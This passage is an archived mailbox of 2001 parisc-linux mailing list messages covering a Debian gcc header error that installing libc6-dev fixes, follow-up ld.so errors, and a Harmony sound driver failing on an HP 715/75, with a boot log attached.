/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:484: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:486: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:488: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:504: parse error before "fpos_t"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:507: parse error before '*' token
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:540: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:542: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:544: parse error before "__THROW"
/usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:555: parse error before "__THROW"
test.c:3: syntax error before "int"

The same source compiles fine on my intel box. 

gcc -v says:

jurriaan@pa8200:~$ gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0.2/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --prefix=/usr --infodir=/share/info --mandir=/share/man
--enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-long-long --enable-nls --without-included-gettext --disable-c
hecking --enable-threads=posix --with-cpp-install-dir=bin hppa-linux
Thread model: posix
gcc version 3.0.2 20010825 (Debian prerelease)
jurriaan@pa8200:~$

which seems recent enough.

Did I miss something? Or is this 'Debian prerelease' not the one I should
get? I used

apt-get update
apt-get upgrade
apt-get install gcc

Pointers to FAQs gratefully accepted, BTW.

Greetings,
Jurriaan
-- 
You can't leave now! You just won!
	DS 9 - Quark
GNU/Linux 2.4.9-ac2 SMP/ReiserFS 2x1402 bogomips load av: 0.04 0.05 0.05




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] gcc/glibc problems
Date: Thu, 30 Aug 2001 06:59:07 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010830065907.H13438@parcelfarce.linux.theplanet.co.uk>
References: <20010830073255.A9044@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620430 24652 80.91.229.3 (22 Nov 2014 01:40:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 29 23:59:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3E9C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Aug 2001 23:59:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15cKr5-0002Ze-00; Thu, 30 Aug 2001 06:59:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010830073255.A9044@middle.of.nowhere>; from thunder7@xs4all.nl on Thu, Aug 30, 2001 at 07:32:55AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12024

On Thu, Aug 30, 2001 at 07:32:55AM +0200, thunder7@xs4all.nl wrote:
> In file included from test.c:1:
> /usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:37:23: features.h: No such file or directory
> In file included from /usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:43,

do you have libc6-dev installed?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] [newbie] gcc/glibc problems
Date: Thu, 30 Aug 2001 08:02:20 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <sb8df3d6.032@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620430 24655 80.91.229.3 (22 Nov 2014 01:40:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 00:09:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7ECAC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 00:09:01 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA10323 for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 08:08:59 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma010031; Thu, 30 Aug 01 08:07:42 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Thu, 30 Aug 2001 08:05:42 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12025

>On Thu, Aug 30, 2001 at 07:32:55AM +0200, thunder7@xs4all.nl wrote:
>> In file included from test.c:1:
>> /usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:37:23: features.h: No =
such file or directory
>> In file included from /usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:=
43,
>
>do you have libc6-dev installed?
>
Hmm, I'd have to check that - but shouldn't that be a dependency, if it's =
needed for even
the simplest use of gcc?

I'm sorry if this goes off-topic here, I'll try not to bother this list =
with debian questions.

Thanks,
Jurriaan





From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] gcc/glibc problems
Date: Thu, 30 Aug 2001 15:01:27 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20010830150125.D16220@neep.com.au>
References: <sb8df3d6.032@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620430 24657 80.91.229.3 (22 Nov 2014 01:40:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 01:01:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-07.iinet.net.au [203.59.3.39])
	by dsl2.external.hp.com (Postfix) with SMTP id 665AF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 01:01:37 -0600 (MDT)
Original-Received: (qmail 3433 invoked by uid 666); 30 Aug 2001 07:01:32 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.190.94)
  by iinet.net.au with SMTP; 30 Aug 2001 07:01:32 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA00662
	for parisc-linux@lists.parisc-linux.org; Thu, 30 Aug 2001 15:01:29 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <sb8df3d6.032@ms-zrt1>; from Jurriaan.Kalkman@zrt.nl on Thu, Aug 30, 2001 at 08:02:20AM +0200
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12026

Quoth Jurriaan Kalkman:
> >do you have libc6-dev installed?
>
> Hmm, I'd have to check that - but shouldn't that be a dependency, if
> it's needed for even the simplest use of gcc?

Interestingly, no.  Use of gcc does not necessitate use of the libc 2.2
headers.  While I suppose it would be very unusual to not use the
installed libc they've not made it such that you are forced to.

> I'm sorry if this goes off-topic here, I'll try not to bother this
> list with debian questions.

There's the debian-hppa list too.  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] gcc/glibc problems
Date: Thu, 30 Aug 2001 13:07:22 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20010830130722.A20475@middle.of.nowhere>
References: <20010830073255.A9044@middle.of.nowhere> <20010830065907.H13438@parcelfarce.linux.theplanet.co.uk>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620431 24664 80.91.229.3 (22 Nov 2014 01:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 05:09:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id D877D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 05:09:12 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id NAA01625
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 13:09:10 +0200 (CEST)
Original-Received: (qmail 28998 invoked from network); 30 Aug 2001 11:07:26 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 30 Aug 2001 11:07:26 -0000
Original-Received: (qmail 21338 invoked by uid 500); 30 Aug 2001 11:07:22 -0000
Content-Disposition: inline
In-Reply-To: <20010830065907.H13438@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12027

On Thu, Aug 30, 2001 at 06:59:07AM +0100, Matthew Wilcox wrote:
> On Thu, Aug 30, 2001 at 07:32:55AM +0200, thunder7@xs4all.nl wrote:
> > In file included from test.c:1:
> > /usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:37:23: features.h: No such file or directory
> > In file included from /usr/lib/gcc-lib/hppa-linux/3.0.2/include/stdio.h:43,
> 
> do you have libc6-dev installed?
> 
I do now, and I can compile (Whoohoo!) but it seems to have some
side-effects:

pa8200:/usr/bin# find
Inconsistency detected by ld.so: dynamic-link.h: 62: elf_get_dynamic_info: Assertion `! "bad dynamic tag"' failed!
pa8200:/usr/bin# ldd find
Inconsistency detected by ld.so: dynamic-link.h: 62: elf_get_dynamic_info: Assertion `! "bad dynamic tag"' failed!
Inconsistency detected by ld.so: dynamic-link.h: 62: elf_get_dynamic_info: Assertion `! "bad dynamic tag"' failed!
ldd: /lib/ld.so.1 exited with unknown exit code (127)
pa8200:/usr/bin# ls -l /lib/ld.so*
lrwxrwxrwx    1 root     root           11 Mar 26  2024 /lib/ld.so.1 -> ld-2.2.3.so
pa8200:/usr/bin# ls -l /lib/ld-2.2.3.so
-rwxr-xr-x    1 root     root       117924 Jul 30 16:45 /lib/ld-2.2.3.so

I am sure find was working before. I'll start reading up on apt-get/dpkg
(what package does this file belong to? Forceful upgrading? etc.)

Jurriaan
-- 
I never think, sir. Didn't get a degree.
Chief Inspector Morse
GNU/Linux 2.4.9-ac2 SMP/ReiserFS 2x1402 bogomips load av: 0.08 0.02 0.03




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! Sound?
Date: Thu, 30 Aug 2001 09:20:08 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB19216273B@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620431 24667 80.91.229.3 (22 Nov 2014 01:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:31 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 07:20:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx2.corp.harris.com (mlbmx2.corp.harris.com [137.237.90.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id F06244832
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 07:20:15 -0600 (MDT)
Original-Received: by mlbmx2.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <R7MPF3YJ>; Thu, 30 Aug 2001 09:20:09 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12028

Hi,

at last kernel 2.4.9-pa10 worked on my 715/75 but I still can=B4t use =
the
sound-chip although the CVS-Log for harmony.c says
"- harmony.c: support all kinds of 712/715 machines again" for Revision =
1.13.
Anybody had any luck using the soundchip on a 715 machine?

greetings
Wolfgang Pedot




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! Sound?
Date: Thu, 30 Aug 2001 16:52:44 +0200
Organization: SAP LinuxLab
Lines: 25
Approved: news@gmane.org
Message-ID: <200108301452.QAA23603@sap-ag.de>
References: <8D4C69676E66D511A1CB00508BBBB19216273B@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620431 24669 80.91.229.3 (22 Nov 2014 01:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:31 +0000 (UTC)
To: "Pedot, Wolfgang" <wpedot@harris.com>,
	"'Parisc Linux Mailinglist'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 08:52:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71641482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 08:52:46 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id QAA13058;
  Thu, 30 Aug 2001 16:54:54 +0200 (MESZ)
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB19216273B@ranmx1.ran.harris.com>
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:12029

On Thursday 30 August 2001 15:20, Pedot, Wolfgang wrote:
> Hi,
>
> at last kernel 2.4.9-pa10 worked on my 715/75 but I still cant use the
> sound-chip although the CVS-Log for harmony.c says
> "- harmony.c: support all kinds of 712/715 machines again" for Revision
> 1.13. Anybody had any luck using the soundchip on a 715 machine?
>
> greetings
> Wolfgang Pedot

Hi Wolfgang,

congrats for your success!

Regarding the harmony sound-driver: please set your output-level with
aumix and play a .mp3 file with mpg123. This worked for me on a 715/64.
If not feel free to send me your dmesg to <deller@gmx.de> so I could try 
to analyze it.

Greetings,
Helge




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! Sound?
Date: Thu, 30 Aug 2001 11:06:48 -0400
Lines: 137
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB19216273C@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620432 24675 80.91.229.3 (22 Nov 2014 01:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:32 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: 'Helge Deller' <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 09:06:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6470482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 09:06:56 -0600 (MDT)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <R7MKMHPG>; Thu, 30 Aug 2001 11:06:49 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12030

Hi,

no luck with aumix. "Error opening mixer".
I expected that because i get Error-Messages about problems with getting irq at
bootup, dmesg attached.

greetings
Wolfgang

Linux version 2.4.9-pa10 (root@ran-248-105) (gcc version 3.0.1 20010811 (Debian
prerelease)) #11 Thu Aug 30 14:47:54 CEST 2001
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
model	00003160 00000481 00000000 00000000 77d91f19 ffffffff 00000004 0000000a
0000000a
vers	00000013
CPUID	vers 0 rev 0
model	9000/715
Total Memory: 256 Mb
On node 0 totalpages: 65536
zone(0): 65536 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Using Alex's odd 715/old exception, onboard graphics won't be inventoried!
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77
2. Scorpio Sr. Core BA (11) at 0xf082f000, versions 0x19, 0x0, 0x70
3. Scorpio Sr. Core SCSI (10) at 0xf0825000, versions 0x19, 0x0, 0x71
4. Scorpio Sr. Core LAN (802.3) (10) at 0xf0826000, versions 0x19, 0x0, 0x72
5. Scorpio Sr. Core HIL (10) at 0xf0821000, versions 0x19, 0x0, 0x73
6. Scorpio Sr. Core RS-232 (10) at 0xf0823000, versions 0x19, 0x0, 0x75
7. Scorpio Sr. Core RS-232 (10) at 0xf0822000, versions 0x19, 0x0, 0x75
8. Scorpio Sr. Core Centronics (10) at 0xf0824000, versions 0x19, 0x0, 0x74
9. Scorpio Sr. Audio (10) at 0xf1000000, versions 0x19, 0x0, 0x7b
10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76
11. Scorpio Sr.(715/75) (0) at 0xfffbe000, versions 0x316, 0x0, 0x4
12. Scorpio Sr. (1) at 0xfffbf000, versions 0x27, 0x0, 0x9
That's a total of 12 devices.
CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz
Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0
Error reading tod clock
Console: colour dummy device 160x64
Calibrating delay loop... 74.75 BogoMIPS
Memory: 255600k available
Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
Asp version 1 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI
enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: keyboard found at id 2
HIL: keymap loaded.
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 91 B8 3A IRQ 87.
82596.c $Revision: 1.22 $
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST34520N          Rev: 1498
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 8888924 512-byte hdwr sectors (4551 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
busdevice_alloc_irq(0x102cc664): No known LASI/ASP/WAX owns device at 0xf1000000
!
harmony_driver_callback: problem getting irq
Warning : device (10, 0x19, 0x0, 0x7b) NOT claimed by Lasi Harmony
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 16384 bind 32768)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 120476k swap-space (priority -1)
eth0: link ok.


> -----Original Message-----
> From:	Helge Deller [SMTP:helge.deller@sap.com]
> Sent:	Thursday, August 30, 2001 4:53 PM
> To:	Pedot, Wolfgang; 'Parisc Linux Mailinglist'
> Subject:	Re: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! Sound?
> 
> On Thursday 30 August 2001 15:20, Pedot, Wolfgang wrote:
> > Hi,
> >
> > at last kernel 2.4.9-pa10 worked on my 715/75 but I still cant use the
> > sound-chip although the CVS-Log for harmony.c says
> > "- harmony.c: support all kinds of 712/715 machines again" for Revision
> > 1.13. Anybody had any luck using the soundchip on a 715 machine?
> >
> > greetings
> > Wolfgang Pedot
> 
> Hi Wolfgang,
> 
> congrats for your success!
> 
> Regarding the harmony sound-driver: please set your output-level with
> aumix and play a .mp3 file with mpg123. This worked for me on a 715/64.
> If not feel free to send me your dmesg to <deller@gmx.de> so I could try 
> to analyze it.
> 
> Greetings,
> Helge
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! Sound?
Date: Thu, 30 Aug 2001 16:14:09 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010830161409.B23606@parcelfarce.linux.theplanet.co.uk>
References: <8D4C69676E66D511A1CB00508BBBB19216273C@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620432 24685 80.91.229.3 (22 Nov 2014 01:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:32 +0000 (UTC)
Cc: 'Helge Deller' <helge.deller@sap.com>,
	'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 09:14:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE1B9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Aug 2001 09:14:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15cTWD-00064G-00; Thu, 30 Aug 2001 16:14:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB19216273C@ranmx1.ran.harris.com>; from wpedot@harris.com on Thu, Aug 30, 2001 at 11:06:48AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12031

On Thu, Aug 30, 2001 at 11:06:48AM -0400, Pedot, Wolfgang wrote:
> Hi,
> 
> no luck with aumix. "Error opening mixer".
> I expected that because i get Error-Messages about problems with getting irq at
> bootup, dmesg attached.

Bugs:

1. Doesn't work on 715/old

This driver doesn't work on 715/old machines, which include the 715/75.  The
chip used for this is technically called 'Vivace', which is identical to 
Harmony.  Should be easy to fix.  It has something to do with the way it is
reported by the inventory code.  The HPA is not that of Lasi or ASP so the
interrupts aren't registered properly.

This will get fixed once we have an iotree.  Coming soon...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@pc5158e.esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa10 now works on 715/75! Sound?
Date: Thu, 30 Aug 2001 17:58:40 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20010830175840.A2496@pc5158e>
References: <8D4C69676E66D511A1CB00508BBBB19216273C@ranmx1.ran.harris.com> <20010830161409.B23606@parcelfarce.linux.theplanet.co.uk>
Reply-To: delahaym@esiee.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620432 24691 80.91.229.3 (22 Nov 2014 01:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 30 09:58:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2995482A
	for <parisc-linux@parisc-linux.org>; Thu, 30 Aug 2001 09:58:42 -0600 (MDT)
Original-Received: from pc5158e (pc5158e.esiee.fr [147.215.50.171])
	by mail.esiee.fr (Postfix) with ESMTP
	id 94753D15B0; Thu, 30 Aug 2001 17:58:40 +0200 (CEST)
Original-Received: from delahaym by pc5158e with local (Exim 3.22 #1 (Debian))
	id 15cUDI-0000iJ-00; Thu, 30 Aug 2001 17:58:40 +0200
Content-Disposition: inline
In-Reply-To: <20010830161409.B23606@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:12032

> 
